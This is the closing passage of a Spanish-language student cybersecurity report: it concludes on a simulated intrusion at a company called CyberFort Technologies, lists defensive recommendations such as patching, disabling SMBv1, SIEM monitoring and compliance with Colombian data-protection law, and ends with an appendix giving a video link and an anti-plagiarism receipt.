auditorias independientes y canales de denuncia ética ayudan a prevenir abusos. En conclusion,
este trabajo refuerza que la ciberseguridad efectiva requiere equilibrar capacidades técnicas,
cumplimiento legal y ética profesional, siendo el caso de CyberFort Technologies un

recordatorio de los riesgos de ignorar este equilibrio.
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Recomendaciones

Priorizar la actualizacion y parcheo de sistemas

Implementar un programa riguroso de gestion de vulnerabilidades que garantice la
aplicacion oportuna de parches de seguridad, especialmente en sistemas criticos. La explotacion
exitosa de EternalBlue en el ejercicio demuestra el riesgo de mantener sistemas obsoletos.
Eliminar protocolos y servicios vulnerables

Deshabilitar inmediatamente protocolos inseguros como SMBv1 en entornos
productivos, reemplazadndolos por alternativas mas seguras. Realizar auditorias periddicas para
identificar configuraciones riesgosas.
Implementar herramientas de monitoreo continuo

Adoptar soluciones SIEM para correlacionar eventos de seguridad y detectar anomalias
en tiempo real. Configurar alertas especificas para actividades sospechosas relacionadas con
accesos no autorizados o movimientos laterales.
Capacitar al personal en conciencia de seguridad

Desarrollar programas de entrenamiento periodicos para equipos técnicos y usuarios
finales, enfatizando en identificaciéon de amenazas, manejo de datos sensibles y reporte de
incidentes.
Establecer controles estrictos de acceso

Aplicar el principio de minimo privilegio en cuentas de usuario y servicios.
Implementar autenticacion multifactor, especialmente para accesos remotos y cuentas
privilegiadas.

Realizar evaluaciones periodicas de seguridad



76

Programar ejercicios regulares de Red Team para identificar vulnerabilidades,
complementados con revisiones del Blue Team para fortalecer defensas. Documentar lecciones
aprendidas en cada ciclo.

Alinear practicas con el marco legal vigente

Revisar contratos y politicas internas para garantizar su cumplimiento con la Ley 1273
de 2009, Ley 1581 de 2012 y demas normativas aplicables. Establecer protocolos claros para el
manejo €tico de datos y herramientas forenses.

Desarrollar un plan de respuesta a incidentes

Crear y probar regularmente un protocolo de actuacion ante brechas de seguridad,
definiendo roles, responsabilidades y canales de comunicacion para contener, investigar y
remediar incidentes de manera efectiva.

Adoptar estandares internacionales

Basar las configuraciones de seguridad en marcos reconocidos como CIS Benchmarks
y utilizar MITRE ATT&CK para evaluar técnicas de ataque y fortalecer las defensas.
Promover una cultura de seguridad organizacional

Fomentar la transparencia y la ética profesional mediante canales de denuncia
protegidos, revisiones independientes y politicas claras que prioricen la integridad sobre

beneficios comerciales a corto plazo.
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Apéndice

° Enlace de video: https://unadvirtualedu-
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my.sharepoint.com/:f:/g/personal/jmleivao_unadvirtual edu co/EqXyZUxxF8NGm6cNzYAyU3

8B1jsObp47N5ui8aYLR9aHHw?e=tMaD3a

Figura 28

Evidencia links compartido

4
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Nota. Elaboracion propia de evidencia de enlace de video compartido.

J Resultado de prueba antiplagio: 2664662182

Figura 29
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Nota. Elaboracion propia de evidencia de recibo digital antiplagio.
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